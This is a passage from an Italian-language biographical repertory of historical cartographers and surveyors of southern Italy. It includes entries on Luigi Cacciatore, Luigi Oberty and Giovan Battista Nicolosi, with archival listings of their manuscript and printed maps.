Ancora più esplicito si fa questo messaggio nella seconda figurina, rappresentante un giovane rapace (preferiamo considerarlo un aquilotto) che, librandosi “a fatica” sulle sue alucce semi-implumi, trattiene nella zampa sinistra l’insostituibile compasso e in quella destra un ramoscello di ulivo, offrendo nel contempo col becco il classico vermetto ad alimento della sua nidiata. Poiché l’aquila ha sempre rappresentato, nella iconografia religiosa e laica, il simbolo della giustizia, ci sembra evidente, in questo caso, la metafora del “povero carneade”, costretto a districarsi in una società difficile e in particolari questioni spartitorie, mantenendosi “in volo” attraverso la scienza applicata alla tecnica (il compasso) e un costante atteggiamento neutrale e pacificatorio (il ramoscello d’olivo offerto alle parti), che comportano una prestazione cartografica giusta, efficace ed efficiente (il verme), in definitiva degna di assicurare in vita la pacifica convivenza tra i ceti sociali.
Siamo in piena “poesia” grafica, che quasi teneramente addolcisce il messaggio sociale freddo e contrastato di mappe e piante... (AVERSANO, in corso di pubblicazione)

Produzione di cartografia manoscritta:
Un numero imprecisato che si aggira complessivamente sugli 800 pezzi, distribuiti principalmente tra l’Archivio di Stato di Benevento e la Biblioteca con annesso archivio di Montevergine. Di seguito diamo un elenco di alcuni pezzi custoditi in questi due archivi, di maggiore significatività geografica. L’intestazione è quella data dall’archivista, per quanto riguarda l’ASBN, mentre, per quanto riguarda l’AMV, si riporta solo l’incipit dei titoli originali delle carte.

- Disegno della palizzata da farsi dentro il fiume Sabato. F.to: Bartolomeo Cocca da Colle-Agrimensore regio, deputato dal cardinale Orsini.
ASBN, Notai, 3546, notaio Compare Nicola di Benevento.
- Pianta di un territorio, (immobile situato nel Comune di Benevento, località Varco del Sasso).
ASBN, Notai, 2616, f. 373.
- Pianta di un territorio, (immobile situato nel Comune di Benevento località S. Croce avanti S. Maria della Pace).
ASBN, Notai, 2616, f. 496.
- Pianta di un territorio, (immobile situato nel Comune di Benevento località La Molara). ASBN, Notai, 2907, f. 90.
- Pianta di un territorio, (immobile situato nel Comune di Foglianise, Parrocchia di S. Giovanni Evangelista).
ASBN, Notai, 2908, f. 760.
- Pianta di un territorio, (immobile situato nel Comune di Benevento località Roseto).
ASBN, Notai, 2921, f. 1144
- Pianta di un territorio (immobile situato nel Comune di Lapio località Serroni). F.to: Bartolomeo Cocca da Colle-Agrimensore regio, deputato dal cardinale Orsini.
ASBN, Notai, 3554, notaio Compare Nicola di Benevento, tra i fogli 420 e 421
- Pianta generale del Feudo di Villafranca ASBN, Notai, 4350.
- Pianta di un territorio, 1696 F.to: Bartolomeo Cocca da Colle-Agrimensore regio, deputato dal cardinale Orsini.
ASBN, Notai, 2615, notaio Marano Pietro di Benevento, f. 309.
- Pianta di sette territori, 1700.
ASBN, Notai, 330/2, f. 85.
- Pianta di un territorio, 1700.
ASBN, Notai, 3940, f. 6-7.
- Disegno della chiesa del Gesù con case annesse e pianta di una casa distrutta, F.to: Bartolomeo Cocca da Colle-Agrimensore regio, deputato dal cardinale Orsini.
ASBN, Notai, 2494, notaio De Pompeis Giuseppe di Benevento, f. 78 v.

٭٭٭
- San Giovanni à Marcopio, 1710, Pianta del Feudo di San Gio[vanni] à Marcopio donato al Sacro e Reale Monasterio di M[onte] V[ergine] da Gio[vanni] Ciriberto nell’anno 1135 di capacità tomola : 970: m[isure] 18…
AMV, Platea, n. 2, cc. 210v. – 211r.
- Sorvo, 1710 Il Sagro e Reale Monasterio possiede in d[et]to luogo un territorio con Vig[n]a di capacità t[omula] 9. m[isura] 1. p[assi] 13 …
AMV, Platea, n. 2, c.32r.
- Perazzone, 1710 Nella Città di Troia in luogo detto lo Perazzone seu il Vallone dello Sannore. Il Sac. e Reale Monasterio di M. V. possiede in detto luogo una Mezzana con Territorio di capacità Carra Nove, cioè Carra cinque di Mezzana …
AMV, Platea, n. 2, c.259r.
- Atripalda, 1721 ATRIPALDA E PROPRIO ALLO MERCATO Il Monas[tero] di Santa Maria di Monte Vergine possiede in detto luogo una Casa che sta per Uso di Taverna di 8… AMV, Platea, n. 4, c. 192r.
- Casale delli Squillani alle Gorrete, 1721 Mastro Nicola Fantasia possiede in d[et]to luogo una Casa di due stanse […] di capacità mis[ura] 3...
AMV, Platea, n. 4, c. 256r.
- Verzara seu la Mensa, 1721 La Chiesa Arcip[reta]le possiede in d[ett]o luogo un Territ[ori]o con Selva, e Massaria di frabica di capacità t[omula] 6…
AMV, Platea, n. 4, c. 255r.
- Rocca Basciarana alle Lenze, 1721 Mastro Nicola Fantasia possiede in d[et]to luogo un Territ[ori]o lavorat[ari]o con piedi di Cerri di t[tumula] 2: m[isure] 6…
AMV, Platea, n. 4, c. 258r.
- Squillani a S. Nicola, 1721 Mastro Nicola Fantasia possiede in d[et]to luogo un Territ[ori]o con piedi di cerque di mis[ure] 17...
AMV, Platea, n. 4, c. 257r.
- Starza di Loreto, 1721 STARZA DI LORETO DI Mogge Cento, e quattro…
AMV, Platea, n. 4, c. 257r.
- Pianta delle Pezze della Valle, 1721
o Apertorio della Pianta delle Pezze della valle di Mogge 42
o N.o primo La Capp.a del SS.mo Corpo di Cristo Mogge: 2: m: 7: paga
o N.o 2. La Capp.a del SS.mo Ross.o Mogge: 0: m: 10 3/4 paga
o N.o 3. La Capp.a della SS.ma Annunziata Mg: 0: m: 11 2/3 paga
o N.o 4. Silvia di felippo e suoi eredi Mogge: 1: m: 20 0/0 paga
o N.o 5. Margarita Silvestro Mogge: 0: m: 10 1/6 paga
o N.o 6. Scipione e Ceriaco della Pio Mogge: 0: m: 16 1/4 paga
o N.o 7. Antonio e fratellj della Pio Mg.: 0: m: 20 1/5 paga
o N.o 8. Andrea Silvestro Mogge: 0: m: 17 0/0 paga
o N.o 9. Pietro Silvestro Mogge: 0: m: 8 3/4 paga
o N.o 10. Modestino Silvestro Mogge: 0: m: 7 3/4 paga
o N.o 11. Carlo pagano Mogge: 0: m: 18 paga
o N.o 12. Antonio Chiochi Mogge: 2: m: 21 1/3 paga
o N.o 13. Gio. Bianco Mogge 1: m: 20 0/0 paga
o N.o 14. Vincenza Chiochj Mogge 1: m: 12 2/3 paga
o N.o 15. Nicola Chiochi Mogge 1: m: 0 paga
o N.o 16. Marco e Gennaro della Pio Mogge 0: m: 13 paga
o N.o 17. fran.o Napolitano Mogge 2: m: 0 paga
o N.o 18. Aniello Magnotta Mogge 1: m: 2 1/4 paga
o N.o 19. Bart.meo e fratellj di Silvestro Mogge 0. m. 20 paga
o N.o 20. Modestino Silvestro Mogge 1: m: 0 3/4 paga
o N.o 21. Giuseppe della Pio Mogge 2. m: 6 0/0 paga
o N.o 22. Gio. Batt.e Silvestro Mogge 2: m. 8 paga
o N.o 23. Honofrio Zigarella Mogge 1: m. 2 0/0 paga
o N.o 24. Carlo Pagano Mogge 1. m. 20 0/0 paga
o N.o 25. Fran.o Ant.o Tomeo Mogge 2: m. 11 1/4 paga
o N.o 26. Marco Bianco Mogge 2: m: 11 0/0 paga
o N.o 27. La Chiesa Parrocchiale Mogge 4: m. 3 3/4 paga
o N.o 28. Giuseppe Tomeo Mogge 1: m. 7 2/3 paga
o N.o 29. Ant.o Silvestro Mogge 1: m. 6 paga
o N.o 30. Franco Napolitano Mogge 0. m: 22. paga
o In tutto sono Mogge 42
AMV, Platea, n. 4

Produzione di cartografia a stampa:

Fonti d’archivio:
Montevergine, 1721
PLATEA Magg[io]re del Sagro, e Regal Monist[er]o di MONTE VERGINE MAGGIORE DEL Monte di tutti li Stabili, redditi, ed annue entrate, che possiede nelle Terre di Mercogliano, Valle Casale dello stesso, Spedaletto, Sommante, Città d’Avellino, Atripalda, Aiello, Cesinali, e Tavernole, Monte Fredano, Monteforte, Bajano, Mognano, Cervinara, Pietra Sturnina, Pandarano, Rocca Basciarana. Fatta in tempo dell’Ill[istrissi]mo e R[everendissi]mo P[adre] D[om] Ramiri Girardi uigilantiss[i]mo Abbate G[e]n[era]le della Congrega[zio]ne Benedettina di MONTE VERGINE
ANNO A’ NATIVIT[at]E D[omi]NI MDCCXXI.
Anno III. Eius General[a]tus
AMV, Platea, n. 4, frontespizio.

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

Cacciatore, Luigi

Luigi Cacciatore
N. 1815
M. 1888

Relazioni di parentela: La famiglia, di origine spagnola, è ascritta alla nobiltà dello “stato” di San Severino (un suo avo, nel 1488, è nominato da Ferrante d’Aragona capitano dei cavalieri e castellano del castello di Mercato S. Severino). Il nipote, omonimo, è ministro delle Poste e Telecomunicazioni nel primo governo repubblicano.

Ente/istituzione di appartenenza:
Qualifica: Architetto

Biografia:
Sopraintendente alle operazioni catastali per la definizione della nuova confinazione tra i comuni di Mercato S. Severino e Fisciano.

Produzione scientifica:
Nonostante le deliberazioni decurionali del comune di Mercato lo annoverino tra gli amministratori nella vesti di consigliere e assessore nel periodo 1862-1888, egli è particolarmente attivo nella professione. Infatti è il protagonista delle principali trasformazioni urbane del comune nella seconda metà dell’Ottocento. In seguito alla legge n. 4613 del 30 agosto 1868, relativa alla “Costruzione e sistemazione obbligatoria delle strade comunali”, in quasi tutte le città italiane i centri storici conoscono una profonda trasformazione a causa di sventramenti indiscriminati. Ed è appunto a partire dal 1870, attraverso la progettazione dei lavori affidati al Cacciatore, che sono allargate le principali strade del centro storico e aperta una nuova piazza in cui trasferire il mercato degli animali.
Egli è incaricato, inoltre, della sistemazione di buona parte delle strade interne del comune di Mercato S. Severino, del restauro della casa comunale (Palazzo Vanvitelliano) e del convento di S. Antonio, del restauro del cimitero di Costa, della progettazione dell’acquedotto di Spiano. Infine, nel 1860, è nominato Sopraintendente alle operazioni catastali per la definizione della nuova confinazione tra i comuni di Mercato S. Severino e Fisciano, operazione che pone fine ad una lunga vertenza tra i due comuni accesasi nel 1810, in seguito allo scioglimento dell’antico “stato” di S. Severino (RESCIGNO, 2003, pp. 77-78). Non si conoscono sue pubblicazioni a stampa. Della sua produzione, di rilievo è la Pianta Topografica del territorio e Villaggi del Comune Mercato Sanseverino … (RESCIGNO, 2004) databile al 1881, ma probabilmente di epoca precedente (vedi commento infra).

Produzione di cartografia manoscritta:
- Progetto per l’espurgo dei corsi paludosi del comune di Mercato S. Severino, Archivio Storico del comune di Mercato S. Severino (ASCM), Registro Deliberazioni del Consiglio comunale, delib. del 21 aprile 1869;
- ASCM, Formazione di una pianta dimostrativa delle strade comunali e vicinali del comune di Mercato S. Severino, ASCM, Lavori pubblici, 1871;
- ASCM, Pianta Topografica del territorio e Villaggi del Comune Mercato Sanseverino con tutte le strade torrenti ed alvei strade in “Stato delle case e delle famiglie al Censimento del 1881”, Stato civile e Anagrafe;
- ASCM, Progetto per la costruzione del ponte S. Giacomo e per l’allargamento di via della Riforma e di via S. Giacomo, Lavori pubblici, 1884.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

Bellotti, Giuseppe

Giuseppe Bellotti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto Giudiziario (AVERSANO, 2001, p. 57)

Biografia:

Produzione scientifica:
Si tratta probabilmente di un professionista molto attivo, ma da alcune fonti non sembra si sia trattato di un luminoso esempio di onestà e competenza. I suoi giudizi sono ritenuti inaffidabili dal ministro. « Gonfia le spese per un restauro …» (FIENGO, 1993, p. 151 e p. 155, note 36 e 37).

Produzione di cartografia manoscritta:
- Pianta Ostensiva Delle località e dipendenze della Cartiera co’ mulini di proprietà de’signori D. Michele e D. Francesco Gambardella siti in Amalfi nella contrada denominata Chiarito di Basso Col progetto di divisione, e lavori da eseguirsi. Salerno, 12 febbraio, 1851. ASS, Tribunale Civile di Salerno, Perizie, voll. 917, c. 609.
- Pianta geometrica del fondovalle, col casamento grande detto S. Nicola sito in Coperchia villaggio del Comune di Pellezzano. Salerno, 16 gennaio 1859. F.to: l’Architetto Giudiziario Giuseppe Bellotti.
ASS, Tribunale Civile di Salerno, Fondo Perizie, Vol. 931.
- Pianta geometrica del tratto di canale nel fondo della Parrocchiale Chiesa Santa Maria a Corte. Salerno, 18 dicembre 1845. F.to: Giuseppe Bellotti, Matteo Giannone, Angiolantonio Giordano.
ASS, Tribunale Civile di Salerno, Fondo Perizie, b. 913, c.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

Parascandolo, Vincenzo

Vincenzo Parascandolo
N. 5 aprile 1809
M.

Relazioni di parentela: Indubbiamente è membro di un “clan” familiare legato a questa professione tecnica, ambitissima dalla borghesia ottocentesca di provincia, specie in campo civile. Infatti, un Francesco Parascandolo, forse genitore di Vincenzo, figura nel 1810 come ingegnere aggiunto nel Corpo Reale degli Ingegneri di Ponti e Strade; un Francesco Antonio, nel 1813, come ingegnere ordinario di terza classe nel Dipartimento di Napoli; un Antonio Parascandolo risulta ingegnere di seconda classe addetto alle opere provinciali nel 1818.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere di Ponti e Strade

Biografia:
Nasce il 5 aprile 1809 e muore nella seconda metà dello stesso secolo, se ancora nel 1855 lo ritroviamo attivo come ingegnere di dettaglio, con la qualifica di ingegnere aggiunto, nella provincia di Napoli Primo ripartimento d’Ispezione (DI BIASIO, 1993, p. 207).

Produzione scientifica:
Nel 1839 il Ministro degli Interni, tra tanti altri, lo propone come Ingegnere aggiunto. Figura nell’organico come ingegnere aggiunto a partire dal Decreto 18 agosto 1840. In uno Stato degli averi degli ispettori generali di Ponti e Strade e delle Acque e Foreste e della Caccia, degli Ispettori e degli Ingegneri della varie classi, secondo l‘organizzazione provvisoria del 1836, Vincenzo Parascandolo è in elenco sotto la finca Soldo duc. 15 e Spese d’officio duc.- (nessuno). Si sa che passa alla sezione provinciale provenendo dalla sezione regia e che, in un momento di caos riorganizzativo del Corpo, non diversamente dagli altri colleghi, inoltra un ricorso, messo a stampa (cfr. DI BIASIO, 1993, rispettivamente, alla p. 187, nota 12 e alle pp. 189-190). Sempre nel 1839 il Ministro degli Interni, fra tanti altri, propone V.P. come ingegnere aggiunto (DI BIASIO, 1993, p. 173, nota 133).
Nel Ruolo degli Ingegneri… del 18 marzo 1852, figura nell’organico come «ingegnere aggiunto» a partire dal decreto 18 agosto 1840 (RUSSO, 1967, p. 142), ed è la qualifica con cui si firma nella carta di cui infra, che lo abilitava ad aiutare l’ingegnere in capo nella progettazione dei lavori e ad occuparsi della loro esecuzione. È ancora ingegnere aggiunto, al 43° posto della lista, nel Notamento degli Ingegneri del Corpo di Acque e Strade a tutto il 31 Marzo 1852 e sarebbe dovuto diventare ingegnere di terza classe, con altri 18, nel progetto di riunificazione dei rami. Ancora nel 1855, tuttavia, lo ritroviamo come ingegnere di dettaglio, con la qualifica di ingegnere aggiunto, nella Provincia di Napoli, Primo ripartimento d’Ispezione (per le tre informazioni cfr. DI BIASIO, 1993, rispettivamente, alle p. 202, 199 e 207). In definitiva, ci troviamo di fronte a una figura di medio livello, ma di indole battagliera.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- Pianta dimostrativa del raccordamento che dalla montagna si spiega nella spiaggia di Maiori. 5 ottobre 1850. F.to: Ingegnere Parascandolo.
ASS, Fondo Intendenza-Strade, b. 2932.

- Pianta dimostrativa del raccordamento dell’ultimo tratto nella marina di Majuri chiesto da taluni abitanti all’Intendente della Provincia nell’accesso avvenuto a’ 9 ottobre 1850, firmato dall’Ingegnere aggiunto V. Parascandolo e controfirmato dall’ingegnere direttore M. Petrilli (s.d., ma 1851).
ASS, Intendenza, b. 2932, F.lo 5.

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

Oberty, Luigi

Luigi Oberty
N. Perinaldo 4 luglio 1790
M.

Relazioni di parentela: Coniugato dal 1819 con la palermitana Teresa Giampoldini, ha tre figli: Maria, Maria Antonietta Virginia Felicia, Giovanni (nato il 30 maggio 1823), che continuerà la professione del padre (MASSARO online).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere del Corpo di Ponti e Strade per tutti i lunghi anni della sua attività.

Biografia:
Nato il 4 luglio 1790 a Perinaldo, cittadina della Diocesi di Nizza, oggi comune ligure in provincia di Savona. Morto nella seconda metà del XIX secolo (MASSARO online). All’atto del battesimo si riscontra la presenza – forse non irrilevante nella vita se non nella carriera del Nostro - di uno zio arciprete, tal Marco Oberty «all’epoca officiante nella chiesa di Corchiano, in provincia di Viterbo, e più precisamente nella diocesi di Civita Castellana» (MASSARO, 1994, p. 36).

Produzione scientifica:
«Nel 1839, quasi cinquantenne, arrivò al grado di ispettore di conto regio, per poi transitare, l’anno seguente, nell’ambito provinciale con la medesima qualifica. Con risoluzione sovrana presa nel Consiglio di Stato del 9 febbraio 1857 fu prescelto per andare in Sicilia come ispettore generale.Dopo l’Unità divenne direttore generale di Ponti e Strade» (FOSCARI, 1995, p. 158).
È questo un periodo – ad unificazione avvenuta – in cui il Nostro assolve importanti incarichi ministeriali (dal 17 gennaio 1861 ricopre la carica di Consigliere di Luogotenenza al Dicastero dei Lavori Pubblici, grazie alla nomina del Principe Eugenio di Savoia-Carignano: MASSARO online), occupandosi tra l’altro – quasi “Pindemonte dell’architettura” (AVERSANO, 2001, p. 74) – della problematica della progettazione architettonica dei cimiteri. Successivamente lascia Napoli e raggiunge Firenze. Nel 1868 è alle prese con il tracciato della strada ferrata che avrebbe fatto sorgere la stazione ferroviaria nel luogo dove ancora oggi si trova (MASSARO online).
Molto apprezzate furono le opere concretizzate sui suoi numerosi progetti. Tra queste spiccano le realizzazioni che arricchiranno la città di Foggia (dove disegna il colonnato dorico della villa comunale, il Teatro Ferdinando ed il non più esistente Orfanotrofio di Maria Cristina: FOSCARI, 1995, p. 158) e l’isola d’Ischia: si ricorda, in proposito, la costruzione della Palazzina Borbonica (FOSCARI, 1995, p. 158; per maggiori dettagli cfr., inoltre, MASSARO, 1994 e BUCCARO, 1992, passim).Non si contano, inoltre, i progetti ideati o avallati dopo sua verifica, tra Napoli, Andria, Foggia Lucera, Avellino e altri centri del Mezzogiorno. Tanto per citarne alcuni: il carcere e il teatro di Foggia; il Pronao della villa comunale, il teatro, l’orfanotrofio Maria Cristina di Savoia e la Chiesa di San Francesco Saverio di Chieti; il palazzo al lato sinistro della Piazza Vittorio Emanuele di Andria; vari cimiteri in provincia di Avellino e province limitrofe; il ponte sulla ferriera di Avellino e quello di S. Michele di Serino; la traversa da Mirabella a Frigento; la strada Avellino-Campobasso e un tratto di quella per Melfi; la casa della Segreteria e dell’Intendenza, l’orfanotrofio, l’Orto Agrario, il Tribunale, il carcere centrale e femminile ad Avellino (MASSARO, 1994, pp. 115-122 e passim).
Mette conto approfondire, tra tanta operosità, quella rivolta al settore carcerario e cemeteriale. Nell’ambito delle iniziative volte a trasformare l'assetto urbanistico di Avellino agli inizi del XIX secolo, conformemente ai mutamenti sociali determinati dalla sua elevazione a capoluogo della Provincia di Principato Ultra (avvenuta nel 1806), Luigi Oberty fu chiamato in causa come progettista di una nuova struttura carceraria, ivi resasi necessaria per il trasferimento, da Montefusco, ex capoluogo, della sede dei Tribunali per le Udienze Civili e Penali. Le procedure per la costruzione del Nuovo Carcere Centrale sono avviate nel 1821 e il 4 agosto viene trasmesso a Napoli appunto il progetto redatto dal nostro ingegnere per essere sottoposto all'esame della Commissione Esaminatrice della Direzione Generale del Corpo Reale di Ingegneri di Ponti e Strade della quale il 13 ottobre entra a far parte anche l’architetto Giuliano de Fazio, Ispettore Generale di Acque e Strade del Regno (CATALDI online).
Per comprendere la filosofia di questo progetto, sarà utile ricordare che l’attività di Oberty si sviluppa nel corso del XIX secolo, sulla scorta dei principali dibattiti europei della fine del Settecento, a cui il nostro ingegnere prende parte con convinzione, aderendo inizialmente alla tesi filantropico-illuminista sulla possibilità e indispensabilità di perseguire, per ragioni di ordine etico-politico, il recupero dei detenuti con metodi razionali (ancora più sentito dopo la pubblicazione del trattato State of prisons dello studioso inglese John Howard (1977-80) che denuncia le deplorevoli condizioni delle prigioni europee e statunitensi nella seconda metà del XVIII secolo).
Sulla scorta etico-politica dell’opera Dei delitti e delle pene di Cesare Beccaria (1764) e su quella ingegneristico-architettonico del panoptismo benthamiano, «modello geometrico per la costruzione di una macchina per l’esercizio del potere […] volto ad eliminare e a prevenire i difetti fisici e morali dell’individuo col semplice ausilio di un disegno architettonico» (BUCCARO, 1992, p. 106), nasce in lui una visione dell’architettura «quale agente inerte attraverso il quale provocare determinate reazioni umane e come progetto utile che giochi un ruolo morale attraverso il buon funzionamento delle sue parti» (BUCCARO, 1992, p. 105). Il panopticon, una «vera e propria tecnologia politica», strutturata in modo che il carcerato non vedesse i carcerieri, quindi con lo scopo di deindividualizzare il potere, trova convinti sostenitori tra gli ingegneri del Corpo di Ponti e Strade e sarà in parte collaudato nell’ambito delle iniziative edilizie sperimentate a partire dal decennio francese nel Regno delle due Sicilie.
La prima esplicita enunciazione dei principi dell’uso dell’impianto panottico in ambito carcerario, risalente al 1821, viene formulata proprio dalla commissione incaricata di valutare il progetto per il carcere di Avellino redatto da Luigi Oberty. A nulla valse la denunzia, fatta da quest’ultimo nel 1818, sullo «stato di degrado in cui versava il vecchio carcere […]», degno di popoli barbari (Buccaro 1992, p. 115), poiché il progetto di Oberty (un carcere per 800 detenuti, a pianta rettangolare con al centro, ben visibile da tutti, la cappella), ispirato ai principi di Howard, fu accantonato dalla commissione che, nel 1822, approvò il progetto “ideale” – formalmente perfetto ma privo di considerazioni pratiche sulla realtà del sito su cui il carcere sarebbe sorto – degli ingegneri Giuliano de Fazio, Luigi Malesci e Bartolomeo Grasso.
Come già detto, l’operato di Oberty si innesta altresì nel filone delle ricerche svolte in Europa, dalla metà del Settecento fino ai primi decenni del secolo successivo, in materia cemeteriale, ricerche tese «più che alla definizione di una nuova tipologia, alla reinterpretazione, sotto l’aspetto filosofico e funzionale, del concetto di cimitero» (BUCCARO, 1992, p. 135). Una esigenza nata, com’è noto, da motivi di carattere igienico-sanitario ed estetico, e verrà ratificata nell’arcinoto Editto di Saint Cloud (12 giugno 1804), portatore di «un certo equilibrio tra le diverse aspirazioni dei riformisti» (BUCCARO, 1992, p. 142). Tale decreto, esteso al Regno d’Italia il 5 settembre 1806, aveva originato nella penisola vivaci proteste, sulla base di presupposti di ordine politico e culturale, nonché un dibattito tra architetti, destinato a durare oltre un trentennio e concretizzatosi in molteplici proposte e altrettante realizzazioni.
Dopo la restaurazione borbonica, la legge dell’11 marzo 1817, emanata da Ferdinando I, prescrisse la formazione di un camposanto in ogni comune della Sicilia Citeriore, per motivi igienici, religiosi e onorifici, rinviando «ad un successivo regolamento la definizione dei requisiti progettuali e delle norme funzionali da adottare […] La risposta più sollecita al regolamento ministeriale giunse dall’Oberty, allorché, sul volgere del 1817, fu incaricato dall’intendente Patroni di redigere i progetti dei campisanti di Avellino, Montesarchio, Vitulano, Montemiletto, Serino ed Altavilla. Essi furono concepiti secondo precisi principi e scelte di valori, che si trovano sistematizzati in un rapporto, scritto appunto dall’Oberty, sui camposanti (si rinvia al successivo commento).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- Pianta del tratto della strada di Melfi da Parolise a Malopasso all’imboccatura del Piano di Volturara, 1818. F.to: Luigi Oberty.
ASAV, Fondo Intendenza, b. 139, c. 1.

- Pianta geometrica e profilo del tratto della strada di Melfi del luogo detto Malopasso ad incontrare l’abitato di Montemarano, 1818. F.to: Luigi Oberty.
ASAV, Fondo Intendenza, b. 139, c. 2.

- Pianta topografica di una traversa rotabile da S. Martino Valle Caudina alla strada Regia di Benevento presso Montesarchio (senza data). F.to: Luigi Oberty.
ASAV, Fondo Intendenza, b. 863, fasc. 3236.

- Pianta e profilo di un tratto della strada di Melfi, dall’osteria di Bisaccia all’imboccatura del Formicuso, 8 maggio 1820. F.to: Luigi Oberty e Giuseppe Maria Ricci.
ASAV, Fondo Intendenza, b. 142.

Fonti d’archivio:
Repertori carto-bibliografici e documenti d’archivio
«Aloysius Felix Antonius Oberty, così è registrato il 5 luglio 1790, nel libro dei battezzati della Parrocchia di S. Nicola da Bari dello stesso comune di Perinaldo, il futuro progettista di Avellino (MASSARO, 1994, p. 34). L’atto di battesimo, tradotto dal latino, recita come appresso:
il giorno 4 luglio
Luigi Felice Antonio nato il giorno 4 luglio dai signori Giovanni Battista Oberty (figlio) del Sig. Giovanni Antonio di questo luogo, e Maria Pastoris del Sig. Antonio Felice da Mentoni, coniugi; fu battezzato il giorno 5 dello stesso (anno) dal rev. don Alessandro Rondelli sacerdote di Rocchetta, su mandato del reverendo sig. Preposito. Padrini furono il predetto sig. Giovanni Antonio Oberty come procuratore del rev. don Marco Oberty arciprete di Corchiano, diocesi di Civita Castellana, suo figlio, come appare dalla schedala ciò attestante datata 7 giugno del corrente anno, sottoscritta Marco arciprete Oberty e la signora Crocefissa Pastoris (figlia) dello stesso Antonio Felice di Mentoni» (AP di S. Nicola di Bari, Perinaldo, registro, dei battezzati, anno 1790, p. 143: MASSARO, 1994, p. 34).

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Anonimo

Barone, Giuseppe

Giuseppe Barone
N.
M.

Relazioni di parentela: Figlio di Pasquale e di Annamaria Marelli. Fratellastro di Francesco, nato nel 1801, incisore. Sposato il 7 luglio 1839 con Enrichetta Martinez, dalla quale ha due figli (VALERIO, 1993, p. 448).

Ente/istituzione di appartenenza:
Qualifica: Incisore, topografo, addetto all’esecuzione dello scheletro dei fogli e calligrafo (VALERIO, 1993, p. 448).

Biografia:
Nasce intorno ai primi dell’Ottocento ed è attivo fin oltre i tre quarti del secolo.

Produzione scientifica:
Insieme al fratello Francesco eseguì gran parte dei rami inseriti nel grande album di calligrafia di Giuseppe Palermo, inciso “dai primi bulini del Reale Officio Topografico” e pubblicato nel 1852. Tra i lavori esterni vanno segnalate anche alcune altre incisioni calligrafiche eseguite per un piccolo album disegnato da Luigi Afeltro. Dal 20 maggio 1857 a tutto il mese di giugno 1860 lavorò all’incisione dello scheletro del foglio n. 5 della carta del Regno in scala 1:80.000, contenente la provincia di l’Aquila (VALERIO, 1993, p. 449). Una nota del direttore dell’Officio, colonnello Fridolino Giordano, apposta sullo stato dei lavori eseguiti nel giugno 1860, ci fornisce una valutazione sull’opera di Giuseppe Barone, «che mostra di sempre proseguire nella buona esecuzione dei lavori affidatigli» (ASN, Ministero Guerra, fs.490/2167). Nella Sezione napoletana dell’Ufficio Superiore del Corpo di Stato Maggiore continuò l’incisione del quinto foglio della carta del Regno; il rimanente lavoro fu poco dopo sospeso per «deficienza di personale», come risulta da un’annotazione apposta da Bruno Colao su una prova del rame conservata nell’archivio dell’Istituto Geografico Militare (AIGM, cart. 86). In vero sappiamo che tutti gli incisori furono nominati topografi col decreto del 31 ottobre 1865, che faceva seguito ai decreti del 29 luglio e del 4 agosto relativi alle nuove denominazioni del personale civile dell’Ufficio Superiore (ACS, Ministero guerra, Matricola ufficiali 1871-1880, reg.2 e ANNUARIO MILITARE 1866:93) (VALERIO, 1993, p. 449).

Produzione di cartografia manoscritta:
- Pianta topografica della controversia di confine che verte nel Consiglio di Intendenza di Principato Citra, tra Comuni dell’ex=Stato di Cuccaro e quelli dell’ex=Stato di Novi, levata sulla faccia del luogo da noi sottoscritti nel mese di luglio 1824, in esecuzione di decisione di questo Consiglio del 10 settembre 1823, reg:ta a Salerno il 31 maggio 1824 al N. 6 Lib. 3 Vol. 58 fol. 12 retto. Cap. 4 ric.to ducato 1 e grana venti. F.to: architetti Giuseppe Barone, Antonio Negri e Gaetano Forte (AVERSANO - MANZI, 1987, pp. 45-47).
- Pianta di un territorio, 1824. F.to: Giuseppe Barone (Ing.)
ASS, Tribunale Civile di Salerno, Fondo Perizie, Vol. 897.
- Pianta di un fabbricato in Tramonti. Salerno, 29 settembre 1824. F.to Giuseppe Barone, Domenicantonio Napoli e un terzo nome non leggibile.
ASS, Tribunale Civile di Salerno, Fondo Perizie, b. 897, c. 183.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Giuseppe Aversano

Nicolosi, Giovan Battista

Giovan Battista Nicolosi
N. Paternò 7 ottobre 1610
M. 10 gennaio 1670

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Sacerdote, insegnante di Geografia come istitutore in case principesche, diplomatico.

Biografia:

Produzione scientifica:
Ordinato Sacerdote, si trasferì a Roma, dove svolse prevalentemente la sua attività scientifica e didattica. Insegnò geografia come istitutore in case principesche e ai fini del suo magistero pubblicò dapprima una Teorica del globo terrestre (1642), che é un piccolo trattato di geografia matematica, lacunoso e imperfetto come accade un po’ a tutti gli scritti giovanili, e da ultimo una Guida allo studio geografico (1662), breve trattazione di cosmografia e cartografia. Entrambe le opere riflettono una chiara impostazione tolemaica e la seconda doveva valere come introduzione alla maggiore, se pure incompleta fatica dell’A., data alle stampe precedentemente (1660), dal titolo Dell’Hercole e Studio geografico. Composta di 22 carte con testo esplicativo, per l’enorme successo avuto essa fu ristampata postuma (1670) in latino, entrando a pieno titolo nel circuito culturale europeo.
Altre carte geografiche e globi il N. disegnò su commissione di Propaganda Fide e della famiglia Borghese, presso cui fu precettore per vari anni. Eruditissimo, poliglotta, instancabile lavoratore, dovette occuparsi anche di arte militare, di fortificazioni e di eserciti, argomenti cui dedicò parecchi scritti. Ma essi, come altre ricerche, studi ed opere letterario-teatrali, non videro mai la luce, si pensa a causa della morte relativamente prematura.
